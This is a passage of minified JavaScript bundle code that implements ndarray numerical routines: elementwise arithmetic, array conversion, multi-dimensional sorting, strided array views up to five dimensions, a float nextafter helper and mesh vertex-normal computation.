T=h.dtype,w=h.order,E=i.dtype,p=i.order,A=v.dtype,m=v.order,n=[T,w.join(),E,p.join(),A,m.join()].join(),C=c[n];return C||(c[n]=C=y([T,w,E,p,A,m])),C(h.shape.slice(0),h.data,h.stride,h.offset|0,i.data,i.stride,i.offset|0,v.data,v.stride,v.offset|0)}},divs:function(y){var c={};return function(h,i,v){var T=h.dtype,w=h.order,E=i.dtype,p=i.order,A=[T,w.join(),E,p.join()].join(),m=c[A];return m||(c[A]=m=y([T,w,E,p])),m(h.shape.slice(0),h.data,h.stride,h.offset|0,i.data,i.stride,i.offset|0,v)}},divseq:function(y){var c={};return function(h,i){var v=h.dtype,T=h.order,w=[v,T.join()].join(),E=c[w];return E||(c[w]=E=y([v,T])),E(h.shape.slice(0),h.data,h.stride,h.offset|0,i)}},assign:function(y){var c={};return function(h,i){var v=h.dtype,T=h.order,w=i.dtype,E=i.order,p=[v,T.join(),w,E.join()].join(),A=c[p];return A||(c[p]=A=y([v,T,w,E])),A(h.shape.slice(0),h.data,h.stride,h.offset|0,i.data,i.stride,i.offset|0)}}};function l(y){var c=a[y.funcName];return c(f.bind(void 0,y))}function u(y){return l({funcName:y.funcName})}var s={mul:"*",div:"/"};(function(){for(var y in s)g[y]=u({funcName:y}),g[y+"s"]=u({funcName:y+"s"}),g[y+"seq"]=u({funcName:y+"seq"})})(),g.assign=u({funcName:"assign"})},7382:function(d,g,t){var r=t(5050),f=t(9262);d.exports=function(l,u){for(var s=[],y=l,c=1;Array.isArray(y);)s.push(y.length),c*=y.length,y=y[0];return s.length===0?r():(u||(u=r(new Float64Array(c),s)),f(u,l),u)}},9262:function(d){function g(){return function(u,s,y,c,b){var h=u[0],i=u[1],v=u[2],T=y[0],w=y[1],E=y[2],p=[0,0,0];c|=0;var A=0,m=0,n=0,C=E,x=w-v*E,I=T-i*w;for(n=0;n<h;++n){for(m=0;m<i;++m){for(A=0;A<v;++A){{var k=b,B;for(B=0;B<p.length-1;++B)k=k[p[B]];s[c]=k[p[p.length-1]]}c+=C,++p[2]}c+=x,p[2]-=v,++p[1]}c+=I,p[1]-=i,++p[0]}}}function t(){return g()}var r=t;function f(u){var s={};return function(c,b){var h=c.dtype,i=c.order,v=[h,i.join()].join(),T=s[v];return T||(s[v]=T=u([h,i])),T(c.shape.slice(0),c.data,c.stride,c.offset|0,b)}}function a(u){return f(r.bind(void 0,u))}function l(u){return a({funcName:u.funcName})}d.exports=l({funcName:"convert"})},8139:function(d,g,t){var r=t(5306);function f(b){switch(b){case"uint32":return[r.mallocUint32,r.freeUint32];default:return null}}var a={"uint32,1,0":function(b,h){return function(v,T,w,E,p,A,m,n,C,x,I){var k,B,_,F=v*p+E,O,z=b(n),N,G,J,q;for(k=v+1;k<=T;++k){for(B=k,F+=p,_=F,N=0,G=F,O=0;O<n;++O)z[N++]=w[G],G+=C;e:for(;B-- >v;){N=0,G=_-p;t:for(O=0;O<n;++O){if(J=w[G],q=z[N],J<q)break e;if(J>q)break t;G+=x,N+=I}for(N=_,G=_-p,O=0;O<n;++O)w[N]=w[G],N+=C,G+=C;_-=p}for(N=_,G=0,O=0;O<n;++O)w[N]=z[G++],N+=C}h(z)}}};function l(b,h){var i=f(h),v=[h,b].join(","),T=a[v];return i?T(i[0],i[1]):T()}var u={"uint32,1,0":function(b,h,i){return function v(T,w,E,p,A,m,n,C,x,I,k){var B=(w-T+1)/6|0,_=T+B,F=w-B,O=T+w>>1,z=O-B,N=O+B,G=_,J=z,q=O,ne=N,fe=F,X=T+1,W=w-1,V=!0,Y,Q,ie,j,K,oe,re,le,pe,we=0,xe=0,ke=0,_e,be,ge,Te,Fe,Oe,Ce,Be,$e,Xe,Ze,Ke,st,lt,ut,yt,bt=C,Ot=h(bt),Ge=h(bt);be=A*G,ge=A*J,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=G,G=J,J=Q;break e}if(ke<0)break e;yt+=I}be=A*ne,ge=A*fe,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=ne,ne=fe,fe=Q;break e}if(ke<0)break e;yt+=I}be=A*G,ge=A*q,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=G,G=q,q=Q;break e}if(ke<0)break e;yt+=I}be=A*J,ge=A*q,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=J,J=q,q=Q;break e}if(ke<0)break e;yt+=I}be=A*G,ge=A*ne,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=G,G=ne,ne=Q;break e}if(ke<0)break e;yt+=I}be=A*q,ge=A*ne,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=q,q=ne,ne=Q;break e}if(ke<0)break e;yt+=I}be=A*J,ge=A*fe,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=J,J=fe,fe=Q;break e}if(ke<0)break e;yt+=I}be=A*J,ge=A*q,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=J,J=q,q=Q;break e}if(ke<0)break e;yt+=I}be=A*ne,ge=A*fe,yt=p;e:for(_e=0;_e<C;++_e){if(re=be+yt,le=ge+yt,ke=E[re]-E[le],ke>0){Q=ne,ne=fe,fe=Q;break e}if(ke<0)break e;yt+=I}for(be=A*G,ge=A*J,Te=A*q,Fe=A*ne,Oe=A*fe,Ce=A*_,Be=A*O,$e=A*F,ut=0,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,pe=Te+yt,Xe=Fe+yt,Ze=Oe+yt,Ke=Ce+yt,st=Be+yt,lt=$e+yt,Ot[ut]=E[le],Ge[ut]=E[Xe],V=V&&Ot[ut]===Ge[ut],ie=E[re],j=E[pe],K=E[Ze],E[Ke]=ie,E[st]=j,E[lt]=K,++ut,yt+=x;for(be=A*z,ge=A*T,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,E[re]=E[le],yt+=x;for(be=A*N,ge=A*w,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,E[re]=E[le],yt+=x;if(V)for(oe=X;oe<=W;++oe){re=p+oe*A,ut=0;e:for(_e=0;_e<C;++_e){if(ke=E[re]-Ot[ut],ke!==0)break e;ut+=k,re+=I}if(ke!==0)if(ke<0){if(oe!==X)for(be=A*oe,ge=A*X,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,Y=E[re],E[re]=E[le],E[le]=Y,yt+=x;++X}else for(;;){re=p+W*A,ut=0;e:for(_e=0;_e<C;++_e){if(ke=E[re]-Ot[ut],ke!==0)break e;ut+=k,re+=I}if(ke>0)W--;else if(ke<0){for(be=A*oe,ge=A*X,Te=A*W,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,pe=Te+yt,Y=E[re],E[re]=E[le],E[le]=E[pe],E[pe]=Y,yt+=x;++X,--W;break}else{for(be=A*oe,ge=A*W,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,Y=E[re],E[re]=E[le],E[le]=Y,yt+=x;--W;break}}}else for(oe=X;oe<=W;++oe){re=p+oe*A,ut=0;e:for(_e=0;_e<C;++_e){if(we=E[re]-Ot[ut],we!==0)break e;ut+=k,re+=I}if(we<0){if(oe!==X)for(be=A*oe,ge=A*X,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,Y=E[re],E[re]=E[le],E[le]=Y,yt+=x;++X}else{re=p+oe*A,ut=0;e:for(_e=0;_e<C;++_e){if(xe=E[re]-Ge[ut],xe!==0)break e;ut+=k,re+=I}if(xe>0)for(;;){re=p+W*A,ut=0;e:for(_e=0;_e<C;++_e){if(ke=E[re]-Ge[ut],ke!==0)break e;ut+=k,re+=I}if(ke>0){if(--W<oe)break;continue}else{re=p+W*A,ut=0;e:for(_e=0;_e<C;++_e){if(ke=E[re]-Ot[ut],ke!==0)break e;ut+=k,re+=I}if(ke<0){for(be=A*oe,ge=A*X,Te=A*W,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,pe=Te+yt,Y=E[re],E[re]=E[le],E[le]=E[pe],E[pe]=Y,yt+=x;++X,--W}else{for(be=A*oe,ge=A*W,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,Y=E[re],E[re]=E[le],E[le]=Y,yt+=x;--W}break}}}}for(be=A*T,ge=A*(X-1),ut=0,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,E[re]=E[le],E[le]=Ot[ut],++ut,yt+=x;for(be=A*w,ge=A*(W+1),ut=0,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,E[re]=E[le],E[le]=Ge[ut],++ut,yt+=x;if(X-2-T<=32?b(T,X-2,E,p,A,m,n,C,x,I,k):v(T,X-2,E,p,A,m,n,C,x,I,k),w-(W+2)<=32?b(W+2,w,E,p,A,m,n,C,x,I,k):v(W+2,w,E,p,A,m,n,C,x,I,k),V){i(Ot),i(Ge);return}if(X<_&&W>F){e:for(;;){for(re=p+X*A,ut=0,yt=p,_e=0;_e<C;++_e){if(E[re]!==Ot[ut])break e;++ut,re+=x}++X}e:for(;;){for(re=p+W*A,ut=0,yt=p,_e=0;_e<C;++_e){if(E[re]!==Ge[ut])break e;++ut,re+=x}--W}for(oe=X;oe<=W;++oe){re=p+oe*A,ut=0;e:for(_e=0;_e<C;++_e){if(we=E[re]-Ot[ut],we!==0)break e;ut+=k,re+=I}if(we===0){if(oe!==X)for(be=A*oe,ge=A*X,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,Y=E[re],E[re]=E[le],E[le]=Y,yt+=x;++X}else{re=p+oe*A,ut=0;e:for(_e=0;_e<C;++_e){if(xe=E[re]-Ge[ut],xe!==0)break e;ut+=k,re+=I}if(xe===0)for(;;){re=p+W*A,ut=0;e:for(_e=0;_e<C;++_e){if(ke=E[re]-Ge[ut],ke!==0)break e;ut+=k,re+=I}if(ke===0){if(--W<oe)break;continue}else{re=p+W*A,ut=0;e:for(_e=0;_e<C;++_e){if(ke=E[re]-Ot[ut],ke!==0)break e;ut+=k,re+=I}if(ke<0){for(be=A*oe,ge=A*X,Te=A*W,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,pe=Te+yt,Y=E[re],E[re]=E[le],E[le]=E[pe],E[pe]=Y,yt+=x;++X,--W}else{for(be=A*oe,ge=A*W,yt=p,_e=0;_e<C;++_e)re=be+yt,le=ge+yt,Y=E[re],E[re]=E[le],E[le]=Y,yt+=x;--W}break}}}}}i(Ot),i(Ge),W-X<=32?b(X,W,E,p,A,m,n,C,x,I,k):v(X,W,E,p,A,m,n,C,x,I,k)}}};function s(b,h,i){var v=f(h),T=[h,b].join(","),w=u[T];return b.length>1&&v?w(i,v[0],v[1]):w(i)}var y={"uint32,1,0":function(b,h){return function(i){var v=i.data,T=i.offset|0,w=i.shape,E=i.stride,p=E[0]|0,A=w[0]|0,m=E[1]|0,n=w[1]|0,C=m,x=m,I=1;A<=32?b(0,A-1,v,T,p,m,A,n,C,x,I):h(0,A-1,v,T,p,m,A,n,C,x,I)}}};function c(b,h){var i=[h,b].join(","),v=y[i],T=l(b,h),w=s(b,h,T);return v(T,w)}d.exports=c},8729:function(d,g,t){var r=t(8139),f={};function a(l){var u=l.order,s=l.dtype,y=[u,s],c=y.join(":"),b=f[c];return b||(f[c]=b=r(u,s)),b(l),l}d.exports=a},5050:function(d,g,t){var r=t(4780),f=typeof Float64Array<"u";function a(h,i){return h[0]-i[0]}function l(){var h=this.stride,i=new Array(h.length),v;for(v=0;v<i.length;++v)i[v]=[Math.abs(h[v]),v];i.sort(a);var T=new Array(i.length);for(v=0;v<T.length;++v)T[v]=i[v][1];return T}var u={T:function(h){function i(T){this.data=T}var v=i.prototype;return v.dtype=h,v.index=function(){return-1},v.size=0,v.dimension=-1,v.shape=v.stride=v.order=[],v.lo=v.hi=v.transpose=v.step=function(){return new i(this.data)},v.get=v.set=function(){},v.pick=function(){return null},function(w){return new i(w)}},0:function(h,i){function v(w,E){this.data=w,this.offset=E}var T=v.prototype;return T.dtype=h,T.index=function(){return this.offset},T.dimension=0,T.size=1,T.shape=T.stride=T.order=[],T.lo=T.hi=T.transpose=T.step=function(){return new v(this.data,this.offset)},T.pick=function(){return i(this.data)},T.valueOf=T.get=function(){return h==="generic"?this.data.get(this.offset):this.data[this.offset]},T.set=function(E){return h==="generic"?this.data.set(this.offset,E):this.data[this.offset]=E},function(E,p,A,m){return new v(E,m)}},1:function(h,i,v){function T(E,p,A,m){this.data=E,this.shape=[p],this.stride=[A],this.offset=m|0}var w=T.prototype;return w.dtype=h,w.dimension=1,Object.defineProperty(w,"size",{get:function(){return this.shape[0]}}),w.order=[0],w.set=function(p,A){return h==="generic"?this.data.set(this.offset+this.stride[0]*p,A):this.data[this.offset+this.stride[0]*p]=A},w.get=function(p){return h==="generic"?this.data.get(this.offset+this.stride[0]*p):this.data[this.offset+this.stride[0]*p]},w.index=function(p){return this.offset+this.stride[0]*p},w.hi=function(p){return new T(this.data,typeof p!="number"||p<0?this.shape[0]:p|0,this.stride[0],this.offset)},w.lo=function(p){var A=this.offset,m=0,n=this.shape[0],C=this.stride[0];return typeof p=="number"&&p>=0&&(m=p|0,A+=C*m,n-=m),new T(this.data,n,C,A)},w.step=function(p){var A=this.shape[0],m=this.stride[0],n=this.offset,C=0,x=Math.ceil;return typeof p=="number"&&(C=p|0,C<0?(n+=m*(A-1),A=x(-A/C)):A=x(A/C),m*=C),new T(this.data,A,m,n)},w.transpose=function(p){p=p===void 0?0:p|0;var A=this.shape,m=this.stride;return new T(this.data,A[p],m[p],this.offset)},w.pick=function(p){var A=[],m=[],n=this.offset;typeof p=="number"&&p>=0?n=n+this.stride[0]*p|0:(A.push(this.shape[0]),m.push(this.stride[0]));var C=i[A.length+1];return C(this.data,A,m,n)},function(p,A,m,n){return new T(p,A[0],m[0],n)}},2:function(h,i,v){function T(E,p,A,m,n,C){this.data=E,this.shape=[p,A],this.stride=[m,n],this.offset=C|0}var w=T.prototype;return w.dtype=h,w.dimension=2,Object.defineProperty(w,"size",{get:function(){return this.shape[0]*this.shape[1]}}),Object.defineProperty(w,"order",{get:function(){return Math.abs(this.stride[0])>Math.abs(this.stride[1])?[1,0]:[0,1]}}),w.set=function(p,A,m){return h==="generic"?this.data.set(this.offset+this.stride[0]*p+this.stride[1]*A,m):this.data[this.offset+this.stride[0]*p+this.stride[1]*A]=m},w.get=function(p,A){return h==="generic"?this.data.get(this.offset+this.stride[0]*p+this.stride[1]*A):this.data[this.offset+this.stride[0]*p+this.stride[1]*A]},w.index=function(p,A){return this.offset+this.stride[0]*p+this.stride[1]*A},w.hi=function(p,A){return new T(this.data,typeof p!="number"||p<0?this.shape[0]:p|0,typeof A!="number"||A<0?this.shape[1]:A|0,this.stride[0],this.stride[1],this.offset)},w.lo=function(p,A){var m=this.offset,n=0,C=this.shape[0],x=this.shape[1],I=this.stride[0],k=this.stride[1];return typeof p=="number"&&p>=0&&(n=p|0,m+=I*n,C-=n),typeof A=="number"&&A>=0&&(n=A|0,m+=k*n,x-=n),new T(this.data,C,x,I,k,m)},w.step=function(p,A){var m=this.shape[0],n=this.shape[1],C=this.stride[0],x=this.stride[1],I=this.offset,k=0,B=Math.ceil;return typeof p=="number"&&(k=p|0,k<0?(I+=C*(m-1),m=B(-m/k)):m=B(m/k),C*=k),typeof A=="number"&&(k=A|0,k<0?(I+=x*(n-1),n=B(-n/k)):n=B(n/k),x*=k),new T(this.data,m,n,C,x,I)},w.transpose=function(p,A){p=p===void 0?0:p|0,A=A===void 0?1:A|0;var m=this.shape,n=this.stride;return new T(this.data,m[p],m[A],n[p],n[A],this.offset)},w.pick=function(p,A){var m=[],n=[],C=this.offset;typeof p=="number"&&p>=0?C=C+this.stride[0]*p|0:(m.push(this.shape[0]),n.push(this.stride[0])),typeof A=="number"&&A>=0?C=C+this.stride[1]*A|0:(m.push(this.shape[1]),n.push(this.stride[1]));var x=i[m.length+1];return x(this.data,m,n,C)},function(p,A,m,n){return new T(p,A[0],A[1],m[0],m[1],n)}},3:function(h,i,v){function T(E,p,A,m,n,C,x,I){this.data=E,this.shape=[p,A,m],this.stride=[n,C,x],this.offset=I|0}var w=T.prototype;return w.dtype=h,w.dimension=3,Object.defineProperty(w,"size",{get:function(){return this.shape[0]*this.shape[1]*this.shape[2]}}),Object.defineProperty(w,"order",{get:function(){var p=Math.abs(this.stride[0]),A=Math.abs(this.stride[1]),m=Math.abs(this.stride[2]);return p>A?A>m?[2,1,0]:p>m?[1,2,0]:[1,0,2]:p>m?[2,0,1]:m>A?[0,1,2]:[0,2,1]}}),w.set=function(p,A,m,n){return h==="generic"?this.data.set(this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m,n):this.data[this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m]=n},w.get=function(p,A,m){return h==="generic"?this.data.get(this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m):this.data[this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m]},w.index=function(p,A,m){return this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m},w.hi=function(p,A,m){return new T(this.data,typeof p!="number"||p<0?this.shape[0]:p|0,typeof A!="number"||A<0?this.shape[1]:A|0,typeof m!="number"||m<0?this.shape[2]:m|0,this.stride[0],this.stride[1],this.stride[2],this.offset)},w.lo=function(p,A,m){var n=this.offset,C=0,x=this.shape[0],I=this.shape[1],k=this.shape[2],B=this.stride[0],_=this.stride[1],F=this.stride[2];return typeof p=="number"&&p>=0&&(C=p|0,n+=B*C,x-=C),typeof A=="number"&&A>=0&&(C=A|0,n+=_*C,I-=C),typeof m=="number"&&m>=0&&(C=m|0,n+=F*C,k-=C),new T(this.data,x,I,k,B,_,F,n)},w.step=function(p,A,m){var n=this.shape[0],C=this.shape[1],x=this.shape[2],I=this.stride[0],k=this.stride[1],B=this.stride[2],_=this.offset,F=0,O=Math.ceil;return typeof p=="number"&&(F=p|0,F<0?(_+=I*(n-1),n=O(-n/F)):n=O(n/F),I*=F),typeof A=="number"&&(F=A|0,F<0?(_+=k*(C-1),C=O(-C/F)):C=O(C/F),k*=F),typeof m=="number"&&(F=m|0,F<0?(_+=B*(x-1),x=O(-x/F)):x=O(x/F),B*=F),new T(this.data,n,C,x,I,k,B,_)},w.transpose=function(p,A,m){p=p===void 0?0:p|0,A=A===void 0?1:A|0,m=m===void 0?2:m|0;var n=this.shape,C=this.stride;return new T(this.data,n[p],n[A],n[m],C[p],C[A],C[m],this.offset)},w.pick=function(p,A,m){var n=[],C=[],x=this.offset;typeof p=="number"&&p>=0?x=x+this.stride[0]*p|0:(n.push(this.shape[0]),C.push(this.stride[0])),typeof A=="number"&&A>=0?x=x+this.stride[1]*A|0:(n.push(this.shape[1]),C.push(this.stride[1])),typeof m=="number"&&m>=0?x=x+this.stride[2]*m|0:(n.push(this.shape[2]),C.push(this.stride[2]));var I=i[n.length+1];return I(this.data,n,C,x)},function(p,A,m,n){return new T(p,A[0],A[1],A[2],m[0],m[1],m[2],n)}},4:function(h,i,v){function T(E,p,A,m,n,C,x,I,k,B){this.data=E,this.shape=[p,A,m,n],this.stride=[C,x,I,k],this.offset=B|0}var w=T.prototype;return w.dtype=h,w.dimension=4,Object.defineProperty(w,"size",{get:function(){return this.shape[0]*this.shape[1]*this.shape[2]*this.shape[3]}}),Object.defineProperty(w,"order",{get:v}),w.set=function(p,A,m,n,C){return h==="generic"?this.data.set(this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m+this.stride[3]*n,C):this.data[this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m+this.stride[3]*n]=C},w.get=function(p,A,m,n){return h==="generic"?this.data.get(this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m+this.stride[3]*n):this.data[this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m+this.stride[3]*n]},w.index=function(p,A,m,n){return this.offset+this.stride[0]*p+this.stride[1]*A+this.stride[2]*m+this.stride[3]*n},w.hi=function(p,A,m,n){return new T(this.data,typeof p!="number"||p<0?this.shape[0]:p|0,typeof A!="number"||A<0?this.shape[1]:A|0,typeof m!="number"||m<0?this.shape[2]:m|0,typeof n!="number"||n<0?this.shape[3]:n|0,this.stride[0],this.stride[1],this.stride[2],this.stride[3],this.offset)},w.lo=function(p,A,m,n){var C=this.offset,x=0,I=this.shape[0],k=this.shape[1],B=this.shape[2],_=this.shape[3],F=this.stride[0],O=this.stride[1],z=this.stride[2],N=this.stride[3];return typeof p=="number"&&p>=0&&(x=p|0,C+=F*x,I-=x),typeof A=="number"&&A>=0&&(x=A|0,C+=O*x,k-=x),typeof m=="number"&&m>=0&&(x=m|0,C+=z*x,B-=x),typeof n=="number"&&n>=0&&(x=n|0,C+=N*x,_-=x),new T(this.data,I,k,B,_,F,O,z,N,C)},w.step=function(p,A,m,n){var C=this.shape[0],x=this.shape[1],I=this.shape[2],k=this.shape[3],B=this.stride[0],_=this.stride[1],F=this.stride[2],O=this.stride[3],z=this.offset,N=0,G=Math.ceil;return typeof p=="number"&&(N=p|0,N<0?(z+=B*(C-1),C=G(-C/N)):C=G(C/N),B*=N),typeof A=="number"&&(N=A|0,N<0?(z+=_*(x-1),x=G(-x/N)):x=G(x/N),_*=N),typeof m=="number"&&(N=m|0,N<0?(z+=F*(I-1),I=G(-I/N)):I=G(I/N),F*=N),typeof n=="number"&&(N=n|0,N<0?(z+=O*(k-1),k=G(-k/N)):k=G(k/N),O*=N),new T(this.data,C,x,I,k,B,_,F,O,z)},w.transpose=function(p,A,m,n){p=p===void 0?0:p|0,A=A===void 0?1:A|0,m=m===void 0?2:m|0,n=n===void 0?3:n|0;var C=this.shape,x=this.stride;return new T(this.data,C[p],C[A],C[m],C[n],x[p],x[A],x[m],x[n],this.offset)},w.pick=function(p,A,m,n){var C=[],x=[],I=this.offset;typeof p=="number"&&p>=0?I=I+this.stride[0]*p|0:(C.push(this.shape[0]),x.push(this.stride[0])),typeof A=="number"&&A>=0?I=I+this.stride[1]*A|0:(C.push(this.shape[1]),x.push(this.stride[1])),typeof m=="number"&&m>=0?I=I+this.stride[2]*m|0:(C.push(this.shape[2]),x.push(this.stride[2])),typeof n=="number"&&n>=0?I=I+this.stride[3]*n|0:(C.push(this.shape[3]),x.push(this.stride[3]));var k=i[C.length+1];return k(this.data,C,x,I)},function(p,A,m,n){return new T(p,A[0],A[1],A[2],A[3],m[0],m[1],m[2],m[3],n)}},5:function(i,v,T){function w(p,A,m,n,C,x,I,k,B,_,F,O){this.data=p,this.shape=[A,m,n,C,x],this.stride=[I,k,B,_,F],this.offset=O|0}var E=w.prototype;return E.dtype=i,E.dimension=5,Object.defineProperty(E,"size",{get:function(){return this.shape[0]*this.shape[1]*this.shape[2]*this.shape[3]*this.shape[4]}}),Object.defineProperty(E,"order",{get:T}),E.set=function(A,m,n,C,x,I){return i==="generic"?this.data.set(this.offset+this.stride[0]*A+this.stride[1]*m+this.stride[2]*n+this.stride[3]*C+this.stride[4]*x,I):this.data[this.offset+this.stride[0]*A+this.stride[1]*m+this.stride[2]*n+this.stride[3]*C+this.stride[4]*x]=I},E.get=function(A,m,n,C,x){return i==="generic"?this.data.get(this.offset+this.stride[0]*A+this.stride[1]*m+this.stride[2]*n+this.stride[3]*C+this.stride[4]*x):this.data[this.offset+this.stride[0]*A+this.stride[1]*m+this.stride[2]*n+this.stride[3]*C+this.stride[4]*x]},E.index=function(A,m,n,C,x){return this.offset+this.stride[0]*A+this.stride[1]*m+this.stride[2]*n+this.stride[3]*C+this.stride[4]*x},E.hi=function(A,m,n,C,x){return new w(this.data,typeof A!="number"||A<0?this.shape[0]:A|0,typeof m!="number"||m<0?this.shape[1]:m|0,typeof n!="number"||n<0?this.shape[2]:n|0,typeof C!="number"||C<0?this.shape[3]:C|0,typeof x!="number"||x<0?this.shape[4]:x|0,this.stride[0],this.stride[1],this.stride[2],this.stride[3],this.stride[4],this.offset)},E.lo=function(A,m,n,C,x){var I=this.offset,k=0,B=this.shape[0],_=this.shape[1],F=this.shape[2],O=this.shape[3],z=this.shape[4],N=this.stride[0],G=this.stride[1],J=this.stride[2],q=this.stride[3],ne=this.stride[4];return typeof A=="number"&&A>=0&&(k=A|0,I+=N*k,B-=k),typeof m=="number"&&m>=0&&(k=m|0,I+=G*k,_-=k),typeof n=="number"&&n>=0&&(k=n|0,I+=J*k,F-=k),typeof C=="number"&&C>=0&&(k=C|0,I+=q*k,O-=k),typeof x=="number"&&x>=0&&(k=x|0,I+=ne*k,z-=k),new w(this.data,B,_,F,O,z,N,G,J,q,ne,I)},E.step=function(A,m,n,C,x){var I=this.shape[0],k=this.shape[1],B=this.shape[2],_=this.shape[3],F=this.shape[4],O=this.stride[0],z=this.stride[1],N=this.stride[2],G=this.stride[3],J=this.stride[4],q=this.offset,ne=0,fe=Math.ceil;return typeof A=="number"&&(ne=A|0,ne<0?(q+=O*(I-1),I=fe(-I/ne)):I=fe(I/ne),O*=ne),typeof m=="number"&&(ne=m|0,ne<0?(q+=z*(k-1),k=fe(-k/ne)):k=fe(k/ne),z*=ne),typeof n=="number"&&(ne=n|0,ne<0?(q+=N*(B-1),B=fe(-B/ne)):B=fe(B/ne),N*=ne),typeof C=="number"&&(ne=C|0,ne<0?(q+=G*(_-1),_=fe(-_/ne)):_=fe(_/ne),G*=ne),typeof x=="number"&&(ne=x|0,ne<0?(q+=J*(F-1),F=fe(-F/ne)):F=fe(F/ne),J*=ne),new w(this.data,I,k,B,_,F,O,z,N,G,J,q)},E.transpose=function(A,m,n,C,x){A=A===void 0?0:A|0,m=m===void 0?1:m|0,n=n===void 0?2:n|0,C=C===void 0?3:C|0,x=x===void 0?4:x|0;var I=this.shape,k=this.stride;return new w(this.data,I[A],I[m],I[n],I[C],I[x],k[A],k[m],k[n],k[C],k[x],this.offset)},E.pick=function(A,m,n,C,x){var I=[],k=[],B=this.offset;typeof A=="number"&&A>=0?B=B+this.stride[0]*A|0:(I.push(this.shape[0]),k.push(this.stride[0])),typeof m=="number"&&m>=0?B=B+this.stride[1]*m|0:(I.push(this.shape[1]),k.push(this.stride[1])),typeof n=="number"&&n>=0?B=B+this.stride[2]*n|0:(I.push(this.shape[2]),k.push(this.stride[2])),typeof C=="number"&&C>=0?B=B+this.stride[3]*C|0:(I.push(this.shape[3]),k.push(this.stride[3])),typeof x=="number"&&x>=0?B=B+this.stride[4]*x|0:(I.push(this.shape[4]),k.push(this.stride[4]));var _=v[I.length+1];return _(this.data,I,k,B)},function(A,m,n,C){return new w(A,m[0],m[1],m[2],m[3],m[4],n[0],n[1],n[2],n[3],n[4],C)}}};function s(h,i){var v=i===-1?"T":String(i),T=u[v];return i===-1?T(h):i===0?T(h,c[h][0]):T(h,c[h],l)}function y(h){if(r(h))return"buffer";if(f)switch(Object.prototype.toString.call(h)){case"[object Float64Array]":return"float64";case"[object Float32Array]":return"float32";case"[object Int8Array]":return"int8";case"[object Int16Array]":return"int16";case"[object Int32Array]":return"int32";case"[object Uint8ClampedArray]":return"uint8_clamped";case"[object Uint8Array]":return"uint8";case"[object Uint16Array]":return"uint16";case"[object Uint32Array]":return"uint32";case"[object BigInt64Array]":return"bigint64";case"[object BigUint64Array]":return"biguint64"}return Array.isArray(h)?"array":"generic"}var c={generic:[],buffer:[],array:[],float32:[],float64:[],int8:[],int16:[],int32:[],uint8_clamped:[],uint8:[],uint16:[],uint32:[],bigint64:[],biguint64:[]};function b(h,i,v,T){if(h===void 0){var n=c.array[0];return n([])}else typeof h=="number"&&(h=[h]);i===void 0&&(i=[h.length]);var w=i.length;if(v===void 0){v=new Array(w);for(var E=w-1,p=1;E>=0;--E)v[E]=p,p*=i[E]}if(T===void 0){T=0;for(var E=0;E<w;++E)v[E]<0&&(T-=(i[E]-1)*v[E])}for(var A=y(h),m=c[A];m.length<=w+1;)m.push(s(A,m.length-1));var n=m[w+1];return n(h,i,v,T)}d.exports=b},8551:function(d,g,t){var r=t(8362),f=Math.pow(2,-1074),a=-1>>>0;d.exports=l;function l(u,s){if(isNaN(u)||isNaN(s))return NaN;if(u===s)return u;if(u===0)return s<0?-f:f;var y=r.hi(u),c=r.lo(u);return s>u==u>0?c===a?(y+=1,c=0):c+=1:c===0?(c=a,y-=1):c-=1,r.pack(c,y)}},115:function(d,g){var t=1e-6,r=1e-6;g.vertexNormals=function(f,a,l){for(var u=a.length,s=new Array(u),y=l===void 0?t:l,c=0;c<u;++c)s[c]=[0,0,0];for(var c=0;c<f.length;++c)for(var b=f[c],h=0,i=b[b.length-1],v=b[0],T=0;T<b.length;++T){h=i,i=v,v=b[(T+1)%b.length];for(var w=a[h],E=a[i],p=a[v],A=new Array(3),m=0,n=new Array(3),C=0,x=0;x<3;++x)A[x]=w[x]-E[x],m+=A[x]*A[x],n[x]=p[x]-E[x],C+=n[x]*n[x];if(m*C>y)for(var I=s[i],k=1/Math.sqrt(m*C),x=0;x<3;++x){var B=(x+1)%3,_=(x+2)%3;I[x]+=k*(n[B]*A[_]-n[_]*A[B])}}for(var c=0;c<u;++c){for(var I=s[c],F=0,x=0;x<3;++x)F+=I[x]*I[x];if(F>y)for(var k=1/Math.sqrt(F),x=0;x<3;++x)I[x]*=k;else for(var x=0;x<3;++x)I[x]=0}return s},g.faceNormals=function(f,a,l){for(var u=f.length,s=new 